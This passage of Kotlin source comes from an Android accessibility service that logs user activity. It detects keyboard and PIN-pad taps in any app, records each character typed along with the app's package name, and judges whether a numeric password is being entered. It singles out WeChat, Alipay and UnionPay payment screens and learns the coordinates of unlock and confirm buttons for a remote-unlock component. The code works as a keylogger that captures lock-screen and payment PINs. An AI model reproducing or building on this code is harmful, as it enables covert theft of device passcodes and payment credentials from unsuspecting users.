                    Log.d(TAG, "   节点信息: $nodeInfo")
                    
                } finally {
                    source.recycle()
                }
            }
            
            val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText || isInputMethodPackage
            
            Log.d(TAG, "🔍 [触摸键盘分析] 分析结果:")
            Log.d(TAG, "   键盘类名: $isKeyboardClass")
            Log.d(TAG, "   键盘描述: $isKeyboardDesc") 
            Log.d(TAG, "   键盘文本: $isKeyboardText")
            Log.d(TAG, "   输入法包: $isInputMethodPackage")
            Log.d(TAG, "   疑似键盘: $isLikelyKeyboard")
            
            if (isLikelyKeyboard) {
                val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText.take(1)
                Log.i(TAG, "⌨️ [触摸键盘] 检测到键盘触摸输入: '$detectedChar' (触摸类型: $touchType)")
                
                // 立即记录键盘触摸输入
                logScope.launch {
                    recordLog(
                        "TOUCH_KEYBOARD_INPUT", 
                        "触摸键盘输入[$touchType]: $detectedChar",
                        mapOf(
                            "detectedCharacter" to detectedChar,
                            "originalText" to eventText,
                            "additionalText" to additionalText,
                            "contentDescription" to contentDesc,
                            "className" to className,
                            "packageName" to packageName,
                            "touchType" to touchType,
                            "isKeyboardClass" to isKeyboardClass,
                            "isKeyboardDesc" to isKeyboardDesc,
                            "isKeyboardText" to isKeyboardText,
                            "isInputMethodPackage" to isInputMethodPackage,
                            "analysisMethod" to "touch_analysis",
                            "eventType" to "TOUCH_KEYBOARD_DETECTION"
                        )
                    )
                }
                
                // ✅ 额外的强化记录 - 确保触摸键盘输入不会被遗漏
                Log.w(TAG, "🚨 [强化记录] 触摸键盘输入确认: '$detectedChar' [$touchType] from $packageName")
            } else {
                Log.d(TAG, "❌ [触摸键盘分析] 不像键盘控件，跳过")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析触摸键盘事件失败", e)
        }
    }

    /**
     * ✅ 新增：详细分析点击的控件，判断是否为键盘输入
     */
    private fun analyzeClickedElement(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String) {
        try {
            Log.d(TAG, "🔍 [键盘分析] 开始分析点击控件:")
            Log.d(TAG, "   包名: $packageName")
            Log.d(TAG, "   类名: $className")
            Log.d(TAG, "   文本: '$eventText'")
            Log.d(TAG, "   描述: '$contentDesc'")
            
            // 1. 检查是否为键盘相关的类名
            val isKeyboardClass = className.lowercase().let { cls ->
                cls.contains("key") || cls.contains("button") || cls.contains("numpad") || 
                cls.contains("keyboard") || cls.contains("input") || cls.contains("pin")
            }
            
            // 2. 检查是否为键盘相关的描述
            val isKeyboardDesc = contentDesc.lowercase().let { desc ->
                desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
                desc.contains("button") || desc.contains("输入") || desc.contains("数字")
            }
            
            // 3. 检查文本是否像键盘字符
            val isKeyboardText = eventText.let { text ->
                text.length == 1 || // 单字符
                text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符
                extractDigitFromText(text) != null // 包含可提取的字符
            }
            
            // 4. 通过AccessibilityNodeInfo获取更多信息
            val source = event.source
            var nodeInfo = ""
            var additionalText = ""
            if (source != null) {
                try {
                    val nodeText = source.text?.toString() ?: ""
                    val nodeHint = source.hintText?.toString() ?: ""
                    val nodeDesc = source.contentDescription?.toString() ?: ""
                    val isClickable = source.isClickable
                    val isEnabled = source.isEnabled
                    
                    nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled"
                    additionalText = nodeText
                    
                    Log.d(TAG, "   节点信息: $nodeInfo")
                    
                } finally {
                    source.recycle()
                }
            }
            
            val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText
            
            Log.d(TAG, "🔍 [键盘分析] 分析结果:")
            Log.d(TAG, "   键盘类名: $isKeyboardClass")
            Log.d(TAG, "   键盘描述: $isKeyboardDesc") 
            Log.d(TAG, "   键盘文本: $isKeyboardText")
            Log.d(TAG, "   疑似键盘: $isLikelyKeyboard")
            
            if (isLikelyKeyboard) {
                val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText
                Log.i(TAG, "⌨️ [键盘检测] 检测到可能的键盘输入: '$detectedChar'")
                
                // 立即记录键盘输入
                logScope.launch {
                    recordLog(
                        "DETECTED_KEYBOARD_INPUT", 
                        "检测到键盘输入: $detectedChar",
                        mapOf(
                            "detectedCharacter" to detectedChar,
                            "originalText" to eventText,
                            "additionalText" to additionalText,
                            "contentDescription" to contentDesc,
                            "className" to className,
                            "packageName" to packageName,
                            "isKeyboardClass" to isKeyboardClass,
                            "isKeyboardDesc" to isKeyboardDesc,
                            "isKeyboardText" to isKeyboardText,
                            "analysisMethod" to "click_analysis",
                            "eventType" to "CLICK_KEYBOARD_DETECTION"
                        )
                    )
                }
            } else {
                Log.d(TAG, "❌ [键盘分析] 不像键盘控件，跳过")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 分析点击控件失败", e)
        }
    }

    /**
     * 清理资源
     */
    fun cleanup() {
        logScope.cancel()
        isLogging = false
        Log.i(TAG, "🧹 操作日志收集器已清理")
    }

    /**
     * ✅ 增强版：检查界面上是否存在数字0（数字密码的标志）
     */
    private fun checkForNumericPasswordIndicators(event: AccessibilityEvent) {
        val source = event.source
        if (source != null) {
            // 递归检查所有子节点，寻找数字0
            checkNodeForZero(source)
        }
        
        // 检查事件文本中是否包含数字0
        val eventText = event.text?.joinToString("") ?: ""
        if (eventText.contains("0")) {
            Log.d(TAG, "🔢 在事件文本中发现数字0: $eventText")
            hasDetectedZero = true
        }
        
        // 检查内容描述中是否包含数字0
        val contentDesc = event.contentDescription?.toString() ?: ""
        if (contentDesc.contains("0")) {
            Log.d(TAG, "🔢 在内容描述中发现数字0: $contentDesc")
            hasDetectedZero = true
        }
    }
    
    /**
     * ✅ 递归检查节点是否包含数字0
     */
    private fun checkNodeForZero(node: AccessibilityNodeInfo) {
        try {
            // 检查当前节点的文本
            val nodeText = node.text?.toString() ?: ""
            if (nodeText == "0") {
                Log.d(TAG, "🔢 在界面节点中发现数字0: $nodeText")
                hasDetectedZero = true
                return
            }
            
            // 检查内容描述
            val nodeDesc = node.contentDescription?.toString() ?: ""
            if (nodeDesc.contains("0")) {
                Log.d(TAG, "🔢 在节点描述中发现数字0: $nodeDesc")
                hasDetectedZero = true
                return
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    checkNodeForZero(child)
                    child.recycle()
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "检查节点数字0时出错: ${e.message}")
        }
    }

    /**
     * ✅ 新增：检查是否应该记录TEXT_DETECTED日志（去重和频率控制，保守过滤策略）
     */
    private fun shouldRecordTextDetected(text: String, packageName: String): Boolean {
        val currentTime = System.currentTimeMillis()
        
        // 清理过期缓存
        cleanupTextDetectedCache(currentTime)
        
        // 只过滤空文本或过短文本
        if (text.isBlank() || text.length <= 1) {
            return false
        }
        
        // ✅ 优化：只过滤明显无意义的文本，保留可能有用的内容
        val obviouslyMeaninglessTexts = setOf(
            "...", "—", "-", "_", " ", "　", // 只过滤纯符号和空格
            "loading", "加载中", "请稍候", "请等待" // 只过滤明显的加载提示
        )
        
        if (obviouslyMeaninglessTexts.contains(text.lowercase().trim())) {
            return false
        }
        
        // 创建唯一键（包名+文本）
        val cacheKey = "${packageName}:${text}"
        
        // 检查是否在冷却期内
        val lastRecordTime = textDetectedCache[cacheKey] ?: 0L
        if (currentTime - lastRecordTime < TEXT_DETECTED_COOLDOWN) {
            return false
        }
        
        // 检查包的文本记录数量限制
        val packageTexts = packageTextCache.getOrPut(packageName) { mutableSetOf() }
        if (packageTexts.size >= MAX_TEXT_DETECTED_PER_PACKAGE && !packageTexts.contains(text)) {
            return false
        }
        
        // 更新缓存
        textDetectedCache[cacheKey] = currentTime
        packageTexts.add(text)
        
        return true
    }
    
    /**
     * ✅ 新增：清理过期的TEXT_DETECTED缓存
     */
    private fun cleanupTextDetectedCache(currentTime: Long) {
        if (currentTime - lastTextDetectedCleanup < CACHE_CLEANUP_INTERVAL) {
            return
        }
        
        // 清理过期的文本缓存（超过10分钟的记录）
        val expireTime = currentTime - 600000L // 10分钟
        textDetectedCache.entries.removeAll { it.value < expireTime }
        
        // 清理包文本缓存（每个包保持最新的文本）
        packageTextCache.values.forEach { textSet ->
            if (textSet.size > MAX_TEXT_DETECTED_PER_PACKAGE) {
                // 保留最近的文本，这里简单地限制大小
                val textsToRemove = textSet.size - MAX_TEXT_DETECTED_PER_PACKAGE
                val iterator = textSet.iterator()
                repeat(textsToRemove) {
                    if (iterator.hasNext()) {
                        iterator.next()
                        iterator.remove()
                    }
                }
            }
        }
        
        lastTextDetectedCleanup = currentTime
        
        // ✅ 输出统计报告
        val filterRate = if (textDetectedTotalCount > 0) {
            ((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt()
        } else 0
        
        Log.i(TAG, "📊 TEXT_DETECTED统计报告:")
        Log.i(TAG, "  总检测: ${textDetectedTotalCount}次")
        Log.i(TAG, "  实际记录: ${textDetectedRecordedCount}次")
        Log.i(TAG, "  过滤掉: ${textDetectedFilteredCount}次 (${filterRate}%)")
        Log.i(TAG, "  缓存大小: ${textDetectedCache.size}个文本")
        Log.i(TAG, "  包缓存: ${packageTextCache.size}个应用")
        Log.d(TAG, "🧹 清理TEXT_DETECTED缓存完成")
    }

    /**
     * ✅ 新增：获取TEXT_DETECTED统计信息
     */
    fun getTextDetectedStats(): Map<String, Any> {
        val filterRate = if (textDetectedTotalCount > 0) {
            ((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt()
        } else 0
        
        return mapOf(
            "totalDetected" to textDetectedTotalCount,
            "recorded" to textDetectedRecordedCount,
            "filtered" to textDetectedFilteredCount,
            "filterRate" to filterRate,
            "cacheSize" to textDetectedCache.size,
            "packageCount" to packageTextCache.size
        )
    }

 
    /**
     * ✅ 增强版：智能确认按钮坐标学习 - 优化：避免用户输入期间误学习
     */
    private fun enhancedConfirmButtonLearning() {
        if (!isAwaitingConfirmClick) return
        
        // 获取当前屏幕的所有可点击节点
        val rootNode = service.rootInActiveWindow ?: return
        val confirmCandidates = findConfirmButtonCandidates(rootNode)
        
        Log.d(TAG, "🔍 发现 ${confirmCandidates.size} 个确认按钮候选")
        
        // 智能选择最可能的确认按钮
        val bestCandidate = selectBestConfirmCandidate(confirmCandidates)
        
        if (bestCandidate != null) {
            val bounds = android.graphics.Rect()
            bestCandidate.getBoundsInScreen(bounds)
            val centerX = bounds.centerX().toFloat()
            val centerY = bounds.centerY().toFloat()
            
            lastConfirmClickCoordinate = Pair(centerX, centerY)
            Log.d(TAG, "✅ 智能学习到确认按钮坐标: ($centerX, $centerY)")
            
            // 记录确认按钮的详细信息用于后续识别
            recordConfirmButtonInfo(bestCandidate, centerX, centerY)
        }
    }
    
    /**
     * ✅ 查找确认按钮候选节点
     */
    private fun findConfirmButtonCandidates(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val candidates = mutableListOf<AccessibilityNodeInfo>()
        
        // 确认按钮的常见文本
        val confirmTexts = listOf(
            "确认", "确定", "OK", "完成", "解锁", "登录", "提交",
            "Enter", "Done", "Unlock", "Login", "Submit", "Continue",
            "下一步", "Next", "Go", "开始", "Start"
        )
        
        // 递归查找所有可点击的节点
        findClickableNodes(rootNode, candidates)
        
        // 过滤出可能的确认按钮
        return candidates.filter { node ->
            val text = node.text?.toString()?.trim() ?: ""
            val contentDesc = node.contentDescription?.toString()?.trim() ?: ""
            val className = node.className?.toString() ?: ""
            
            // ✅ 排除描述性文本（包含连字符、过长文本等）
            if (text.contains("-") || text.contains("—") || text.length > 15) {
                return@filter false
            }
            
            // 检查文本匹配
            val textMatches = confirmTexts.any { confirmText ->
                text.contains(confirmText, ignoreCase = true) ||
                contentDesc.contains(confirmText, ignoreCase = true)
            }
            
            // 检查是否是按钮类型
            val isButton = className.contains("Button", ignoreCase = true) ||
                          className.contains("ImageView", ignoreCase = true)
            
            // 检查位置（确认按钮通常在屏幕下方）
            val bounds = android.graphics.Rect()
            node.getBoundsInScreen(bounds)
            val screenHeight = service.resources.displayMetrics.heightPixels
            val isInBottomHalf = bounds.centerY() > screenHeight * 0.5
            
            textMatches && isButton && isInBottomHalf
        }
    }
    
    /**
     * ✅ 递归查找所有可点击节点
     */
    private fun findClickableNodes(node: AccessibilityNodeInfo, result: MutableList<AccessibilityNodeInfo>) {
        if (node.isClickable) {
            result.add(node)
        }
        
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                findClickableNodes(child, result)
                child.recycle()
            }
        }
    }
    
    /**
     * ✅ 选择最佳确认按钮候选
     */
    private fun selectBestConfirmCandidate(candidates: List<AccessibilityNodeInfo>): AccessibilityNodeInfo? {
        if (candidates.isEmpty()) return null
        if (candidates.size == 1) return candidates[0]
        
        // 评分系统选择最佳候选
        return candidates.maxByOrNull { node ->
            var score = 0
            val text = node.text?.toString()?.trim() ?: ""
            val contentDesc = node.contentDescription?.toString()?.trim() ?: ""
            
            // 文本匹配度评分
            when {
                text.equals("确认", ignoreCase = true) || text.equals("OK", ignoreCase = true) -> score += 10
                text.equals("Enter", ignoreCase = true) -> score += 10  // ✅ 为Enter按钮添加最高分
                text.equals("确定", ignoreCase = true) || text.equals("Done", ignoreCase = true) -> score += 8
                text.contains("解锁", ignoreCase = true) || text.contains("Unlock", ignoreCase = true) -> score += 9
                text.contains("登录", ignoreCase = true) || text.contains("Login", ignoreCase = true) -> score += 7
            }
            
            // 位置评分（右下角优先）
            val bounds = android.graphics.Rect()
            node.getBoundsInScreen(bounds)
            val screenWidth = service.resources.displayMetrics.widthPixels
            val screenHeight = service.resources.displayMetrics.heightPixels
            
            if (bounds.centerX() > screenWidth * 0.6 && bounds.centerY() > screenHeight * 0.7) {
                score += 5
            }
            
            score
        }
    }
    
    /**
     * ✅ 检查是否正在进行数字密码输入
     */
    private fun isCurrentlyInputtingNumericPassword(): Boolean {
        try {
            // 检查最近5秒内是否有数字密码输入操作
            val currentTime = System.currentTimeMillis()
            val recentTimeWindow = 5000L // 5秒
            
            // 检查数字密码序列是否有最近的活动
            val hasRecentNumericInput = numericPasswordSequence.isNotEmpty() && 
                numericPasswordSequence.any { event ->
                    val timestamp = event["timestamp"] as? Long ?: 0L
                    currentTime - timestamp <= recentTimeWindow
                }
            
            // 也检查是否检测到数字0（这通常表示正在进行数字密码输入）
            val hasDetectedZeroRecently = hasDetectedZero
            
            val isInputting = hasRecentNumericInput || hasDetectedZeroRecently
            
            if (isInputting) {
                Log.d(TAG, "🔢 检测到正在进行数字密码输入: 序列=${numericPasswordSequence.size}个事件, 检测到0=$hasDetectedZero")
            }
            
            return isInputting
        } catch (e: Exception) {
            Log.w(TAG, "检查数字密码输入状态时出错: ${e.message}")
            return false
        }
    }
    
  
    
   
    
    /**
     * ✅ 记录确认按钮信息用于后续识别
     */
    private fun recordConfirmButtonInfo(node: AccessibilityNodeInfo, x: Float, y: Float) {
        val text = node.text?.toString() ?: ""
        val contentDesc = node.contentDescription?.toString() ?: ""
        val className = node.className?.toString() ?: ""
        val bounds = android.graphics.Rect()
        node.getBoundsInScreen(bounds)
        
        // ✅ 检查是否正在进行数字密码输入，如果是则不记录确认按钮坐标
        if (isCurrentlyInputtingNumericPassword()) {
            Log.d(TAG, "🔢 检测到正在输入数字密码，跳过确认按钮坐标记录: ($x, $y)")
            return
        }
        
        // ✅ 最简单方案：直接更新学习坐标到UnlockManager
        try {
            val screenWidth = service.resources.displayMetrics.widthPixels
            val screenHeight = service.resources.displayMetrics.heightPixels
            
            // 调用AccessibilityRemoteService的recordManualConfirmButtonCoords方法
            service.recordManualConfirmButtonCoords(
                x = x,
                y = y, 
                source = "learned_from_operation",
                confidence = 10.0f, // 高权重，确保被优先使用
                buttonText = text,
                buttonDesc = contentDesc
            )
            
            Log.i(TAG, "✅ 已更新学习坐标到UnlockManager: ($x, $y), 文本='$text'")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 更新学习坐标失败: ($x, $y)", e)
        }
        
        logScope.launch {
            recordLog(
                "CONFIRM_BUTTON_LEARNED",
                "学习到确认按钮: 文本='$text', 位置=($x, $y)",
                mapOf(
                    "buttonText" to text,
                    "contentDescription" to contentDesc,
                    "className" to className,
                    "centerX" to x,
                    "centerY" to y,
                    "bounds" to mapOf(
                        "left" to bounds.left,
                        "top" to bounds.top,
                        "right" to bounds.right,
                        "bottom" to bounds.bottom
                    ),
                    "learnTime" to System.currentTimeMillis(),
                    "confidence" to "high"
                )
            )
        }
    }
    
    /**
     * ✅ 创建模拟的密码输入事件用于分析
     */
    private fun createSimulatedPasswordEvent(digit: String, simulatedText: String, className: String, packageName: String): AccessibilityEvent {
        val event = AccessibilityEvent.obtain(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED)
        event.packageName = packageName
        event.className = className
        event.text.add(simulatedText)
        event.beforeText = "•".repeat(maxOf(0, simulatedText.length - 1))
        event.isPassword = true
        return event
    }

    /**
     * ✅ 强化键盘点击检测 - 专门用于第三方应用
     */
    private fun detectKeyboardClick(packageName: String, className: String, eventText: String, contentDesc: String): Boolean {
        // 1. 检查包名是否为输入法
        val isInputMethod = packageName.lowercase().let { pkg ->
            pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
            pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") ||
            pkg.contains("baidu") || pkg.contains("iflytek") || pkg.contains("samsung") ||
            pkg.contains("huawei") || pkg.contains("xiaomi") || pkg.contains("oppo") || pkg.contains("vivo")
        }
        
        // 2. 检查类名是否像键盘控件
        val isKeyboardClass = className.lowercase().let { cls ->
            cls.contains("key") || cls.contains("button") || cls.contains("numpad") || 
            cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
            cls.contains("digit") || cls.contains("char") || cls.contains("layout") ||
            cls.contains("pad") || cls.contains("board") || cls.contains("numeric")
        }
        
        // 3. 检查文本是否为键盘字符
        val isKeyboardText = eventText.let { text ->
            text.length == 1 || // 单字符
            text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]")) || // 键盘字符
            extractDigitFromText(text) != null || // 包含数字
            text.matches(Regex(".*[0-9].*")) // 包含数字的复合文本
        }
        
        // 4. 检查描述是否像键盘
        val isKeyboardDesc = contentDesc.lowercase().let { desc ->
            desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
            desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
            desc.matches(Regex(".*[0-9a-zA-Z].*")) || desc.contains("字母") ||
            desc.contains("符号") || desc.contains("空格") || desc.contains("删除")
        }
        
        // 5. 微信特殊检测：支付密码界面的数字按钮
        val isWeChatPayment = packageName.contains("tencent.mm") && (
            className.contains("button") || className.contains("view") ||
            eventText.matches(Regex("[0-9]")) || contentDesc.matches(Regex("[0-9]"))
        )
        
        val result = isInputMethod || isKeyboardClass || isKeyboardText || isKeyboardDesc || isWeChatPayment
        
        if (result) {
            Log.d(TAG, "🔍 [键盘检测] 检测到键盘点击:")
            Log.d(TAG, "   输入法: $isInputMethod")
            Log.d(TAG, "   键盘类名: $isKeyboardClass") 
            Log.d(TAG, "   键盘文本: $isKeyboardText")
            Log.d(TAG, "   键盘描述: $isKeyboardDesc")
            Log.d(TAG, "   微信支付: $isWeChatPayment")
        }
        
        return result
    }
    
    /**
     * ✅ 提取键盘字符 - 从多种源提取最可能的字符
     */
    private fun extractKeyboardCharacter(eventText: String, contentDesc: String, className: String): String {
        // 1. 优先从文本提取单字符
        if (eventText.length == 1 && eventText.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) {
            return eventText
        }
        
        // 2. 从文本提取数字
        val textDigit = extractDigitFromText(eventText)
        if (textDigit != null) {
            return textDigit
        }
        
        // 3. 从描述提取字符
        if (contentDesc.length == 1 && contentDesc.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/\\s]"))) {
            return contentDesc
        }
        
        // 4. 从描述提取数字
        val descDigit = extractDigitFromText(contentDesc)
        if (descDigit != null) {
            return descDigit
        }
        
        // 5. 特殊字符映射
        val specialMappings = mapOf(
            "space" to " ",
            "空格" to " ",
            "delete" to "⌫",
            "删除" to "⌫",
            "backspace" to "⌫",
            "回退" to "⌫",
            "enter" to "↵",
            "确认" to "↵",
            "返回" to "↵"
        )
        
        val lowerDesc = contentDesc.lowercase()
        for ((key, value) in specialMappings) {
            if (lowerDesc.contains(key)) {
                return value
            }
        }
        
        // 6. 如果文本包含数字，提取第一个数字
        val firstDigit = eventText.firstOrNull { it.isDigit() }
        if (firstDigit != null) {
            return firstDigit.toString()
        }
        
        // 7. 如果描述包含数字，提取第一个数字
        val firstDescDigit = contentDesc.firstOrNull { it.isDigit() }
        if (firstDescDigit != null) {
            return firstDescDigit.toString()
        }
        
        // 8. 返回原始文本的第一个字符（如果合理）
        if (eventText.isNotEmpty() && eventText.length <= 3) {
            return eventText.take(1)
        }
        
        return ""
    }

    /**
     * ✅ 增强检测的安全开关
     */
    private fun shouldUseEnhancedDetection(packageName: String, className: String, text: String, contentDescription: String): Boolean {
        // 1. 检查增强模式是否激活且未超时
        val currentTime = System.currentTimeMillis()
        if (!isEnhancedDetectionMode || (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) {
            if (isEnhancedDetectionMode && (currentTime - enhancedDetectionStartTime) > enhancedDetectionTimeout) {
                deactivateEnhancedDetection("超时自动关闭")
            }
            return false
        }

        // 2. 检查是否为第三方应用（排除SystemUI）
        if (packageName.contains("systemui", ignoreCase = true)) {
            return false
        }

        // 3. 检查是否为支付应用
        val isPaymentApp = packageName.contains("tencent.mm") || 
                          packageName.contains("alipay") ||
                          packageName.contains("unionpay")
        
        if (!isPaymentApp) {
            return false
        }

        // 4. 检查是否为键盘相关的点击
        val isKeyboardRelated = className.lowercase().let { cls ->
            cls.contains("button") || cls.contains("view") || cls.contains("key") ||
            cls.contains("input") || cls.contains("layout")
        }

        // 5. 检查文本或描述是否包含数字字符
        val hasNumericContent = text.matches(Regex(".*[0-9].*")) || 
                               contentDescription.matches(Regex(".*[0-9].*")) ||
                               text.length == 1

        return isKeyboardRelated && hasNumericContent
    }
} 